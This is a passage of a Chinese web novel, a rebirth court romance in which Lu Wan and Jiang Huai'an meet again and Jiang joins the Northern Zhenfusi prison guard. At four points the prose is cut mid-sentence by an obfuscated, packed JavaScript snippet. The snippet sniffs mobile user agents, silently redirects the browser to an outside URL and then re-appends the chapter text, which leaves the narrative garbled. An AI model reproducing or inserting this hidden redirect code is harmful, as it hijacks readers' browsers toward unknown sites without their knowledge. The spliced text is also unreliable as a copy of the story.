“父亲何苦如此执着,儿子无心于此,且又没有真才实学,怎能……”陆谦正要继续说下去,却见自己的妹妹对他做了个噤声的手势。他心中不解,却见那人已经笑着开口:“父亲,春闱每年都会举行,兄长今年落榜,明年依旧可以参加。但倘若因此求助他人,不仅有失公平,而且可能落下把柄。” 陆正闻言,思衬片刻后,深觉有理,便道:“这样也好。”他顿了顿,又用手指向跪着的陆谦道:“你这些日子好好给我呆在家温习诗书,若再敢出去乱跑,我就把你的腿给打断!” “父亲——” 陆谦话未出口,便被陆晚截住:“父亲说的是,兄长,你这懒散贪玩的性子也该改改了,不然今后哪个姑娘敢嫁给你啊。” 陆谦被堵得有口难言,只得作罢,拂袖离开。 陆晚望着他离开的身影,忙笑着安抚了会儿正欲发怒的父亲:“父亲莫气,我去劝劝兄长。” 说罢,她便抬步跟了过去。陆谦似是在生着闷气,步伐很快,半晌便脱离了陆晚的视线。陆晚也不恼,她了解自家兄长的性子。 果不其然,她在院中的一棵枇杷树旁看到了抱膝而坐的陆谦。枇杷树,是母亲在世时栽种的,今已亭亭如盖。母亲过世的早,兄长又生性贪玩,总受父亲责备,兄长时常因此而郁郁不乐。故而他每次不开怀之时,往往就会在枇杷树旁坐上几个小时。 思及此,陆晚心底泛起几分酸涩。她在陆谦旁边坐下,语气柔和:“兄长就这么喜欢当侠客吗?” “非常喜欢。我对江湖的向往就譬如父亲对变革的执着,”陆谦没有丝毫犹豫地应道:“阿晚,试想一下,若你也有一件毕生所求之事,旁人却让你放弃它,你能做到吗?” 陆晚一窒。隔着皎洁的月色,她再次细细打量了一番这位比自己年长四岁的兄长。 谦谦君子,卑以自牧。陆谦的容貌确实如他的姓名一样,有君子之姿。可奈何他不喜读四书五经,偏爱与江湖传闻有关的民间话本。他七岁那年,父亲就任杭州知府,正值匪徒多发之季。匪徒不满父亲干预,便抓了陆谦以威胁父亲。匪徒藏身之地偏僻险峻,官兵需要搜寻许久。正当年幼的陆谦倍感绝望,苦苦煎熬之时,是一位侠客救了他。 自此,陆谦便立下了成为一名剑侠的志向。不过,前世因为父亲的百般阻挠以及陆晚潜意识里对侠客身份的排斥,陆谦无奈之下,只好按照父亲所规划的那般,通过苏文渊的引荐顺利入仕。前世里,陆谦为官后也是郁郁寡欢,几乎磨灭了他所有的少年心性,后来又在陆家没落后被关进诏狱,受尽酷刑而亡。 那么这一世呢…… 陆晚拢了拢思绪,正色道:“兄长,我无意干涉你的志向。只是任何一份追求,都需要做好充分的准备。你若想仗剑天涯,也需得有谋生的能力。不然,岂不得活活饿死?” “这个自然,”陆谦听到她并不介怀自己的志愿后,眉目瞬时开朗:“我已经想好了,若是父亲当真松口,我便一边行商一边游历江湖……” 陆晚凝望着他满怀希冀的笑颜,一时想起了她的父亲和江淮安。想必他们在推行新政之时,对于未来也是有诸多美好的展望吧。只可惜…… 想起今日梅园与那人的对话,陆晚的眼神黯了一瞬。她强忍住心头的不安,继续宽慰自己的兄长:“兄长,你若是真的下定决心,做好了打算,我必会劝说父亲支持你。” 此时此刻,承天门外,千步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362441|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廊西侧的北镇抚司衙门内的一间值房里,北镇抚司使邓则明正在接见一位不速之客。他刚刚才刑讯完一位犯人,官服上还残余着些许犯人溅上来的血污。 邓则明漠然地看向这位孤身前来的文弱书生,嘴角浮过一抹冷笑:“怎么?北镇抚司这样一个阎罗殿,也有人肯屈尊前来光顾?” 江淮安面色不变,只作揖行礼:“江某见过邓大人,江某今日求见大人,只为一事。” “哦?”邓则明略微扬眉,似是来了兴趣,起身逼近道:“何事?” 江淮安并未后退,平静道:“江某平素钦佩大人才华,又有尽忠陛下之志,愿入北镇抚司当差,誓死追随大人。” 邓则明脸色一僵。不过片刻,他的神色便恢复如常,眼底情绪莫测:“本司使记得,你叫江淮安,寒门出身,江陵人士。今年春闱一举夺魁,名冠燕京,前途无量。你不日又将参加殿试,届时必成朝廷新贵,怎么想着要来北镇抚司当个酷吏呢?” “自古酷吏治贪官。江某虽熟读圣贤书十几载,却始终对‘公道’二字心存疑惑。有些儒生文章做得极好,却在为官后初心尽失,四处盘剥百姓。江某不耻此等行径,也已厌倦了尽写些锦绣文章来博得一个贤名的日子,只愿跟随大人,以刑罚求证‘公道’二字。” 邓则明听闻此话后,良久无言。许久过后,他才开口,声音暗哑:“你真的认为北镇抚司可以求得你所想要的公道吗?北镇抚司施行私刑,只尊天子之令,且手段残忍,常为世人所不耻。” “只要结果正义,过程残酷并不重要。” 其实这句话江淮安本人并不认同,但他此刻必须这么说。因为,上辈子,江淮安为了给陆家求情,与陆正的门生亲信一起被关进诏狱,深受折磨时,他曾咬牙问邓则明何为公道。邓则明当时回的便是这句话。 那时,江淮安只觉他在诡辩。毕竟诏狱是天子施以私刑的地方,自然谈不上公允。但后来,江淮安任首辅后,因为想要延续新政,被许多贵族施压。那时的建宁帝已经不再处理朝政了,朝中之事都由内阁主管。 江淮安为了扫清新政障碍,便联合司礼监与北镇抚司的人,利用刑讯手段对忤逆新政之人加以威慑。在此期间,他与邓则明也有一些交情。 客观来看,邓则明此人并非一个十恶不赦的酷吏。他虽手段残酷,可缉捕的也确确实实是一些贪官。邓则明也坦言,自己是建宁帝一手提拔过来的,视其为恩主,从不忤逆其召令。但直到陆家没落,赋税变革被废止,亲眼目睹民不聊生的现状后,他才自觉悔恨。 说实话,江淮安后来之所以能顺利推行新政,也离不开北镇抚司的帮助。只可惜,后来他被判凌迟,邓则明也被流放潮州,毕生不得返京。 邓则明的目光直直地落在江淮安身上,像是要把面前人的表皮剥个干干净净。良久,他才启口:“此时,我需回禀陛下,你且在家等消息吧。” “多谢邓大人,既如此,江某便先行告退,不打搅大人休息了。”江淮安心下忙松了一口气,正要抬步离开,却听得身后那人又唤道:“弃一身贤名以入诏狱,你真的不后悔吗?” 江淮安停下脚步,转过身来,朝那人淡然一笑,落下两个字:“不悔。” 5. 雨夜 深夜时分,初春的第一场细雨,便这么毫无征兆的落了下来。雨声淅淅沥沥,泠泠作响,陆晚在半梦半醒之间,睁开了双目。重生回来的这些天里,许是因为前世的心结,她一直睡得不太安稳。怔愣片刻后,她自榻上起身,随手披了件外衣,缓步行至窗前。 她推开窗户,恰好与料峭的春风撞了个满怀。寒意漫进周身,陆晚不由得拢紧了些身上的外衣。她垂眸,目光触及窗外的蒙蒙细雨,忽然忆起了前世里的一个雨夜。 那是建宁十二年的三月廿五,惊蛰日,正是雨水多发的时令。 彼时的江淮安已经顺利通过了殿试,成为新科状元,授翰林院修撰,负责修史、起草召令等工作。陆晚的父亲,陆正,非常欣赏这位朝廷新贵,时常邀请他入府共同商议与赋税变革有关的要事。 那天,江淮安与陆正在书房里商讨了许久,不知不觉已至酉时。天色昏黑,万里无云,慢慢地便有豆大般的雨点从天而降。 陆正见雨势渐大,又加之其有意撮合自己的女儿与江淮安,便让陆晚撑伞送江淮安归家。 春雨如帘,霏霏而下。纵使撑伞而行,仍避不了雨水沾衣。方跨出庭院不远,陆晚的身上绿罗裙便湿了一半。 一场春雨一场寒。寒凉的雨水垂打在身上,陆晚不由得哆嗦了一下,打了个寒颤。 “陆姑娘,稍停片刻。” 温润清明的声音在这静谧的雨夜里显得格外入耳。陆晚脚步一顿,不由侧目去看身旁的年轻男子,却忽觉肩头传来一阵轻而稳的暖意。她下意识垂下目光,却见肩上不知何时多了一件月白色外袍。 她愕然抬眸,见眼前人冲她弯了弯唇:“雨夜湿气重,姑娘切莫着凉了。” “伞交由我撑着吧。” 一种不知名的情绪在陆晚心底滋生开来,她递过手中的雨伞,抿唇道:“多谢江公子。” “无妨。” 江淮安原先在燕京的西胡同里租了一间房子。后来,他进士及第,便住进了高坡巷里的官舍。高坡巷离陆府不远,大约一刻钟便可抵达。 一路上,因着梅园初见的机缘,两人也并不生分,偶尔会闲谈片刻,聊的内容大多都与诗词歌赋有关。 陆晚有幸从陆正那里读过江淮安的诗文,深爱其平淡深静的诗风。如今又与他共伞对谈,便更对他多了几分钦佩与仰慕之情。 谈至尽兴之时,那人蓦然没了声音。陆晚微微诧异,却见男子将伞还递于她:“姑娘不必再送了,江某已经快到家了。” “可是——”陆晚不解,这里明明离他的官舍还有几步之遥,正欲开口询问,却见他疾步奔向不远处的街角。 雨落不止,斜织成线。隔着雨幕,陆晚的视线有些迷糊。她微微往前凑近了些许,便瞧见了这样一副场景——街道的角落里,单衣湿透的年轻男子自袖中掏出了一袋碎银递给了一位衣衫褴褛的乞儿。 陆晚知道江淮安是寒门出身,自幼由嫂嫂抚养长大。他刚刚任职,俸禄也只够糊口。 陆晚终于明白父亲为何会如此欣赏这位年轻的书生了。很多时候,善意只是一种选择。有人生于钟鸣鼎食之家,却不肯施半分怜悯给旁人;亦有人半生孤苦,却甘愿冒着风雨对一位素不相识的乞儿施以援手。江淮安就是后一种人。 亲眼目睹此情此景,陆晚忽然有种冲动。这种冲动出自于她的本能,她甚至都没有思虑一番,便径直向街角走去。 街角并不宽敞,江淮安的半只身子都淋在了雨里。他此时正在轻声安抚眼前的乞儿,并没有意识到陆晚已经立在了他的身后。 “江公子。” 闻言,江淮安眸子里闪过几丝惊讶,他侧过身子,与陆晚相视:“陆姑娘,你还没有归府?” 陆晚笑笑,尚没有回应,只是缓缓解下江淮安方才披在她身上的月白色外袍,而后朝着蜷缩在角落里的乞儿走近,将外袍轻轻裹在了他的身上。 “江公子,我再送你一程。” 江淮安微愣,垂下眼看面前的姑娘。寒雨淋漓的夜里,她周身的衣裙早已半湿,执伞的手却未动分毫,面色平和安然,没有半分不耐。 江淮安自幼习儒,生性安静内敛,是以相比于旁人,他在男女之情上实在是钝感了许多。譬若此时,面对着眼前的姑娘,他心底滑过一丝奇异的情愫,却不知这丝情愫究竟为何。 他半晌才收回了目光,答谢道:“有劳姑娘了。” 陆晚将江淮安送至官舍时,两人都是湿衣蔽体。江淮安怕她着凉,便将自己的一件玄色披风递给她,暂时遮身,而后又亲自煮了一碗姜茶给她祛寒。 陆晚离开之际,天色较之前又暗了几分。江淮安顾念她的安危,便又亲自将她送了回去。 二人于陆府门口离别之际,陆晚忽而叫住了正欲背身离去的男子,她平素镇定,此刻的声音却多了几分不易察觉的希冀与慌乱:“今夜多亏了江公子。” 奈何夜色深沉,不然此刻江淮安转身之时必定可以瞥见眼前女子的耳根已经泛起了几分薄红。 可惜他并未瞧见这些,因而只是含笑道:“是我该谢过姑娘。姑娘执伞相送,陆某不胜感激。” 陆晚的回忆停留在了江淮安最后的那个温朗和煦的笑容上。此时,雨已经停了,或许是因为这份不可多得的美好回忆,陆晚竟难能地多了几分睡意。 一场春雨过后,天色愈加明朗澄澈。断虹霁雨,青山如黛,甚是美哉。 碧空如洗的午后,就在江淮安正为这如画般的秀美山河扼袖惊叹之时,他接到了建宁帝的召见。 算起来,这辈子,他还是第一次入宫。当他行至宫城东安门,瞥见“翰林院”那三个字时,他不由得有些恍惚。 领江淮安见驾的是司礼监里一位名叫曹德旺的秉笔太监。曹德旺已经年过半百,是宫里的老人了,一双眼睛比猴子还精。见面前人神色有异,便说了一句玩笑话:“江公子不必紧张。万岁爷是个和善的人,对咱家这些个无甚轻重的奴才都宽厚有加。更何况是对公子这样才华横溢的人呢。” 江淮安知他有意试探,忙笑道:“自然。万岁宽仁之名,天下皆知。是江某愚拙无知,没见过什么世面,让秉笔见笑了。” “哪里哪里,江公子过谦了。” 两人话说着,便步行到了乾清宫外。曹德旺入内请旨,旋即返身宣江淮安觐见。 “草民江淮安叩见陛下,陛下万福金安。” 年仅二十二岁的少年天子坐于龙椅之上,神色莫测地打量着这位屈膝跪地的青衫书生。他着实想不通,究竟是什么样的意愿,能让一个名满天下的才子舍弃仕途,甘入诏狱。 “平身。” 跪地半晌后,江淮安才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362442|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到年轻的帝王慢慢开口:“听邓则明说,你想入诏狱?” “朕记得,你是今年春闱的会元,陆先生还专门向朕赞许过你的策论。寒窗苦读十余载,怎么就忽然放弃了呢?” “回陛下,草民虽曾有过成圣之志,后来经历了些世事,深觉人心难测,圣人难为。与其空读儒书,做些华而不实的文章,不如弃笔执刀,为民除害,为君分忧。” 不知是哪一句话感触到了这位少年天子,建宁帝竟良久没有开口,似在思衬着什么。 许久,他忽而起身,向跪地的书生走近,状似遗憾地叹了口气:“可惜啊,陆先生十分欣赏你的才华,有意栽培你。你若是进入诏狱,岂不是伤了陆先生的心。” 江淮安语气依旧恭敬且平宁:“纵为文人,草民也是陛下的门生;步入诏狱,草民亦是陛下的臣子。无论草民如何选择,草民的主子只有陛下一人,必将誓死效忠陛下。” “所以,”建宁帝满意地扬了扬眉,饶有兴趣道:“你是决心要入诏狱了?” “是,臣愿作陛下手中利刃,唯君命是从。” “好,即日起,你便是北镇抚司的一名千户了,由北镇抚司使邓则明统辖。” “草民叩谢陛下,陛下万岁万岁万万岁。” “记住,”建宁帝眸底忽深,声音也沉了下去:“既入诏狱,一切行止皆得遵从朕的号令,不得擅自行动。” “草民遵命。” “你且先退下吧。” 待那抹青色的身影渐渐退离视线时,建宁帝眼底的情绪渐渐淡了下去,再开口时语气依旧让人捉摸不透:“圣人难为。” 他顿了顿道:“邓则明,你怎么看这句话。” “回陛下,臣粗鄙愚笨,尚不懂此言。” 宫帘掀起,邓则明默默退至君王左右,平声应道。 闻言,建宁帝喉咙里漫出一阵轻笑:“也是,你是手持刀刃的人,怎么会明白这句文人的雅言呢?” 他似乎并不想停下这个话题,又漫不经心地扫了一眼随侍身旁的曹德旺:“你呢?你知道这四个字怎么解吗?” 曹德旺吓得连忙跪倒在地:“万岁,您也晓得奴才是个笨人,连话都说不利索,更不消说懂得这些了……” “得了,”年轻的君王笑着摆了摆手:“你好歹也是宫里的老人了,自朕幼时便侍奉左右,怎么还是这么不惊吓?” “罢了罢了,是朕想多了,”建宁帝又看向眼前默立的邓则明,语气和缓:“你也先退下吧。” “朕今日还要听陆先生讲学,不能耽误太久。若是迟了,母后和先生必要斥责朕。” 此话一出,周遭静了一瞬。 陆先生,即为陆正,大齐首辅,天子帝师。建宁帝为表示对他的敬意,常以“先生”尊称他。 陆正性子严苛在天下也是出了名的,不消说那些文官贵族,就连龙椅上这位年轻的帝王都有些畏惧他。 邓则明下意识蹙了蹙眉,道:“陆首辅如此专权,陛下当适度削其权柄,不可——” 曹德旺只听了邓则明的前半句,便已经出了一层薄汗。他忙不经意地觑了一眼建宁帝面上的表情。 果不其然,年轻的皇帝面色立刻由晴转阴,神情里的严肃不似作伪:“陆先生于社稷有功,你不该妄议他。自己下去领三十板子罢。” 6. 诏狱 “刀都拿不稳,你日后还怎么杀人?” 邓则明昨日刚挨了三十个板子,身上还泛着点酸痛,面色却依旧如常。 诏狱是什么地方呢? 阎罗殿,死人堆,活人骨。不见血不罢休的场所。 前世,江淮安是受刑的文人;今世,他是执刀的酷吏。即便是无奈之举,心理也有些相应的准备,江淮安凝着手上的绣春刀,指节还是忍不住微微颤抖。 狱里头一片晦暗,微弱的烛火摇摇晃晃,邓则明立在远处,险些看不清那人的神色。 “怎么,你还不准备动手吗?” 刑房的中央放了将近十张泼过水的刑架,每一张架台上都绑着人犯,铁链锁脖,血水浸衣。 此时还是青天白日,江淮安仍是静得可以听见隔间刑房里囚犯的惨叫。 他不自觉地攥紧了手里的绣春刀。 邓则明见他沉默,忽地起步逼近,径直抽走了江淮安手里的那把绣春刀。邓则明的动作很快,利索果断,未及最右端架台上那名囚犯反应过来,刀刃便直接滑过他的颈脖,一秒见血。 “看懂了吗?” 邓则明问,神色漠然:“我不管你从前是什么身份,你如今就是北镇抚司里的一名千户。既入诏狱,持刀的手便不可颤抖,面上更不可露悲。杀人只是第一步,你要做的,”他顿住,冷冷扫了一眼架台上的那些囚犯,近乎残酷般地开口:“就是如何把这些人折磨地生不如死。” “江千户,你还不动手吗?” 自诏狱出来时,已至日暮。晚霞成绮,天澈如水。江淮安清俊的面容氤氲在沉沉的暮霭之中,沾染了些水汽,更显苍白。 邓则明送他至门口,视线在那人踉跄不稳的身子上短暂地停留了几秒。他收回目光,叫住了正要转身离开的那人:“江淮安。” “圣人难为。这四个字怎么解?” 江淮安顿住了脚步。他明白身后之人想问什么。昨日个建宁帝因为邓则明出言妄议陆正,罚了他三十大板。 这就是建宁帝的高明之处了。少年天子明明早已对自己的老师心生怨气,却偏偏不显现出来,还对他信任有加,万事皆听由陆正的安排。 邓则明是什么人?北镇抚司的指挥使,背后的主子只有龙椅上的人,要维护的也只有天威。如今首辅专权,天威受损。邓则明自然心头不快,莫说他不满,前朝中的言官御史也对此颇有微词。 表面惩戒,实则是向邓则明示弱,表明自己权力渐渐被架空,无力保他,由此激起邓则明对陆正的偏见与怨怼。 “圣人难为”这四个字是江淮安为了获取建宁帝的信任,有意言之。燕京皆知,首辅陆正自小便立有成圣之志,为官后推行赋税变革,减轻百姓负担。曾有人因此赞他为“万古间第一圣人”。自此,“圣人”二字,便是世人对陆正的美誉了。 圣人难为。真的有人可以灭掉人欲,一直高尚无私下去吗?圣人的皮囊之下也许是一颗魔鬼般的心肠呢? 邓则明想要一个确切的答案,江淮安知道。他没有转身,只是背对着那人,开口:“圣人难为。然而,倘若有人知其难为仍要为之,收敛欲望,兼济天下,纵有瑕疵,亦值得人钦佩。” 宁为有瑕玉,不为无暇石。 这是陆正的信仰,也是江淮安毕生想要追求的道义。 他说完这话后,便头也不回地离开。 待行至无人的一处巷角时,他这才弓着背蹲下了身子,干呕了一声。胃里的酸水涌入喉咙口,泛滥出食物糜烂的腥臭味。江淮安心下难受,呕吐不止,他垂眼看着自己那双骨节分明的文人手。 就是这双手,执刀抹过了一人的脖子,持鞭伤过数人的脊背。他今天,杀了一人,严刑拷打了五人。 “淮安” 江淮安恍然抬头,见来人快步走近,扶他起身。 夕阳虽沉,光晕却并未散去。暖暖春晖之下,眼前人一身素色衣裙,云鬓间玉簪摇晃,眉眼温明从容,仿若自画像中走来。 冷静克制的面容之下,是那人发颤的尾音:“你为何不同我商量一下?说不定,还有别的路可走呢?” 陆晚是真的生气。虽然那日梅园相逢之时,他就已经说明了打算。可她也没有想到他的动作这么迅速,不过一日而已,他舍弃殿试,投身诏狱的消息便已经传遍了燕京。 “没关系的,阿晚。” 江淮安艰难地直起身子,冲她温和一笑。 陆晚凝着他虚白的脸色,心底一阵钝痛。虽有幸求得一个来生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362443|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可有些事情还是让她很无力,譬若眼前这个如松木般儒雅清隽的男子。 前生入仕为官,落尽一身冤罪凌迟而死;今生入诏狱…… 她忽而不敢再想,忙抑下鼻子里的那阵酸涩,匆忙别开了目光,换了话题:“你要不要喝一口水?” 江淮安愣住了。他以为她会问些什么,诸如目前的处境或是之后的打算之类的,可她只是问他要不要喝口水。 紧接着,他看见眼前人提裙迈出巷角。不过一柱香的时间,她便端了碗莲子汤过来:“街上卖的莲子汤有宁神之效,可以缓解一下你胃口的不适。” 江淮安就着她的手,一点点将汤水饮尽。这使得他想起,上辈子,他就任首辅期间,政务繁忙,常常很晚才回到梅居。不论多晚,里间的灯火从未灭过,他的桌岸上也总会放着一碗汤水。 “如今陛下尚未完全信任于我,很多事情,我尚没有摸透。阿晚,你放心,我一定会护住你的。” 护住你。 真要算起来,哪怕是上辈子,江淮安都没怎么对她说过“喜欢”二字,也不言情爱。他寡言内敛,虽写得一手好字,做得一篇佳文,却不知怎么给心爱的姑娘表白。 或许比起用言语表达,他更爱用行动证明。从前世到今生,他确实在用一生践行着“护住你”这三个字。他救天下,也护陆晚。 “江淮安,”陆晚凝着他的目光,静静开口,语气温软:“这一次,试着让我护一下你吧。” 她说完后,也不管眼前人是何神情,只是慢慢退至了他的身旁,伸手握住他那只方才杀过人的右手,笑道:“陪我走走吧。” 太过美好的东西总是会让人心生不忍,萌生退意。江淮安自认坚定,但双手合扣之际,他还是忍不住有些怀疑,乃至自轻。无论心下如何说服自己,江淮安还是不得不承认,他其实是有些龃龉的。 他的手拿过刀,染过血,也杀过人。重活一世,陆晚可以继续做才貌双全的陆家姑娘,但他不能了。他再也无法成为一名干干净净的文人,他的名字亦与青史无关。 是以,他并不确信,这样的自己,还配不配与陆晚执手而行。 尤其是当穿过巷角,看见了一身藏青色官服的裴度时,这种自轻的想法更为尤甚。 7. 自轻 裴度。裴家三郎,少年英才,玉树临风,是燕京多少女儿家的梦中情郎。 玉冠束发,青袍覆身,风骨自成。 江淮安凝向他,又像是透过他看到了前世里的自己。半晌,他收回目光,垂眼触及自己一身的飞鱼服,静眸间闪过一丝落寞。他下意识想抽出与那人相扣的手,却觉那人攥得更紧了。 裴度的目光落在两人交握的双手之上,面色僵了一瞬,旋即又恢复如常,依次朝二人问候: “陆姑娘” “江公子” 陆晚抬眼平视裴度,一时有些恍然。 上辈子,裴度与江淮安同日登科,进士及第。二人同任翰林院修撰,同在松山书院讲学,交情甚笃。只可惜,无论是裴度,或是裴氏家族也好,都不认同陆正以雷霆手段推行赋税变革。 立场不同,二人也就渐行渐远。陆家没落后,江淮安入诏狱受刑,裴度进入了刑部,官居四品,一步步成为本朝最年轻的刑部侍郎。 金阳西垂,满地长影。官道右侧还载着几株杨柳,随风舞动,给这春日平添了几分静谧。前世故友,今世陌人,临道相逢,再次对话。 “江公子,裴某有一困惑,望公子不吝赐教。” “裴公子但言无妨。” “裴某读过江公子的诗文与策论,不胜仰慕,故冒昧一问,公子为何舍仕途而入诏狱?”裴度说这话时,神色平宁,话语却难掩犀利。犀利之间,似乎还透着点居高临下的审视。 这样的想法让陆晚莫名生气。她也没管江淮安打不打算开口,只是盯着裴度的眼睛,径直道:“裴公子是觉得诏狱有什么不妥吗?” 裴度没料到她会接话,一时有些愕然,却见那人继续道:“诏狱也好,仕途也罢,皆是个人选择而已。当不存在优劣之分。” 裴度下意识蹙眉:“诏狱之地,以私刑为主,常常是非不分,杀人如麻。裴某只觉可惜,江公子这样的有识之士不该踏足那样的地方。” 陆晚听得“私刑”二字后,忽觉有点可笑。刑部大牢里倒是施行公刑啊,上辈子,她又不是没有去过。为了逼她供认一项莫须有的罪名,什么笞刑、杖刑、拶刑……她都承受过。再说江淮安的凌迟之刑也是公刑,受刑于天下人面前,以示威慑。 可是判罪的证据呢?照样是捏造或者借刑讯逼认的。刑部不过是比诏狱多走了几部流程,审讯时需对簿公堂、判罪时需量化证据罢了,其实本质上,诏狱和刑部都是上位者巩固权力的工具。 陆晚忽觉悲哀。她摁了摁眉心,待心绪平宁之后,正欲再辩,却听身侧执手之人已淡然开口:“若要言理由,江某可以说上许多,譬如谋权,图利等。可说来说去,也不过是一句个人选择罢了。” “江某既已选择此路,便不觉可惜,亦不会回头。还望裴公子谅解。” “裴公子,就此别过。” 江淮安执着陆晚的手,径直自裴度身边走过。暮色渐浓,天际昏昏沉沉一片。陆晚侧眸望他,却瞧不见他的神情。 “江淮安,他方才说的话,是不是刺痛了你?” 闻言,江淮安蓦然顿足。他抬眼望去,前方不远就是他的居舍了。进入北镇抚司当差后,建宁帝便赐了他一间宅落。 沉默半晌后,他倏尔放开了身侧之人的手,平声道:“阿晚,你无需为我不平。” “江山代有人才出,各领风骚数百年,”他顿了顿,像是看着自己的宅落,又像是看着隐于宅邸之后的淡淡春山:“我们都只不过,是在以自己认为正确的方式守护这如画般的江山罢了。” “可是,江淮安,”陆晚直直望入他的眼里,出声道:“我虽为你不平。可我更怕你会因此自轻。” 她说着,几步走入他的对面,攥住他的衣袖,与他平视:“江淮安,你是不是觉得你如今这样配不上我?” 江淮安敛眸。 圣人难为。不论他的出发点有多么正确,多么无奈,他始终是介怀的。他不是不羡慕裴度的那身藏青官服,亦不是不渴盼提笔著文,不是不希望受到同侪的称赞、前辈的欣赏……只是他畏惧,畏惧旧事重演,再蹈覆辙。 他不后悔,但他确实不知该怎么面对陆晚。他的手可以染血,可以污秽,但他希望他的阿晚永远都是那个干干净净的陆家姑娘。 陆晚见他不语,又继续道:“江淮安,你若要对我自轻,那我前世里与豫王的那些又算什么……” “阿晚!” 江淮安忙止住她的话,满心愧疚:“是我的错,我不该犹疑。” 陆晚吸了一口气,再次伸手与他交握,眸色平静且笃定:“江淮安,我不管这一世的结局如何。总之,你无论如何都不可松开我的手。” “执子之手,与子偕老。上辈子,我们发过誓的。” “若是……”江淮安只言了二字,却没有继续再说下去,只是握紧了那人的手,道了一个“好”字。 “天色已晚,我送你回去吧。” “你不请我进去看看你的居舍吗?” 江淮安无奈,携她前行至院落的廊道,正要步入里间。身侧人忽然来了一句:“这院子里该种些梅花。” 江淮安一怔,而后莞尔:“是该种些。” 里间并不宽敞,也算不得狭窄。依旧如记忆里那般,干干净净,尘灰不沾。桌岸上的书册也是摆放得工工整整,不见凌乱。 陆晚挽了挽耳边的碎发,顺势在榻上坐下,笑道:“这里和梅居还是挺像的。” 江淮安不知该怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362444|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么接这句话。 孤男寡女,共处一室。衣冠虽整,他却还是有些耳热。他此刻只庆幸,室内光线昏暗,榻上那人瞧不见他的窘态。 他犹豫了一下,还是退后了几步,背过身,将自己腰间的绣春刀摆放在木架上。而后,他就立在了原地,有点不知道该做些什么。 陆晚见他脊背立得笔直,忽觉有些好笑。她掩面轻咳了几声,朗声道:“江淮安,你杵在那儿跟个木头似的。怎么不来榻上?” 江淮安的脊背颤了一下。他侧过身子,撩袍慢慢坐下,面上却仍是有些局促:“阿晚,现在有点晚了,令尊会不会担心你?” 陆晚笑笑,道:“江淮安,我怎么觉着你今日对着我这么不自在?你那日梅园吻我,不是挺直接的吗?” 江淮安忽觉手脚都无处安放。他知道,陆晚是想开解他。梅园相逢之时,他满心喜悦。可现下,除了喜悦,更多的是对未知的惧怕。身入诏狱,意味着明面上,他已经跟陆正那些清流走上了对立面。 思及此,江淮安眸子黯了一瞬:“阿晚,我那天是不是冒犯你了?” 陆晚没有应答这句话,只是将他的身子慢慢扳正,与他平视:“江淮安,你还是介怀你的身份。我说过,若你因此自轻,那我岂不是要低到尘埃里了。我前世还做过教坊司的官妓——” 江淮安忙抬指止住她的话语。前世里的那些事情,江淮安一直都不愿意听她提起。他怕她会因此自伤。 “对不起。”江淮安放下手,垂眸道。 “没关系的。我已经能坦然面对那些经历了。倒是你,”陆晚面向他,语气平和:“我知道你不后悔。但是你惧怕,你与我在一起,会毁了我的声誉。” “可是,江淮安,我不在意这些。我今世的心愿就是你、还有我的至亲都能够平安康健。” “如果可以……”她顿了顿,忽然不再说下去,只是凝着面前人的双眸。 室内没有点灯,幽暗迷蒙。晚风穿进窗棂,撩起她额间的碎发。静室之间,男女相望,难免起心动念。 江淮安忙直起身,开口时,嗓音都哑了些许:“我送你归府。” 陆晚并不是一个大胆的人。生于书香门第,她也读过《女戒》《女则》之类的书卷,明白何为妇道。是以上辈子,还是陆家姑娘的时候,她与江淮安之间都是发乎于情止乎于礼,没有半分逾矩。 多了一世的记忆后,她反倒没有太多小女儿家的姿态与心情。她起身,借着一缕黯淡的夕光,拽住那人的衣领,踮起脚尖,吻住了他的唇。与梅园的亲吻不同,这次的吻是陆晚主动的,沾了些情欲,还带了点不可言说的思念。 不过半晌,她便放开满脸惊异的那人,淡淡一笑:“现在,你送我回去吧。” 8. 望月 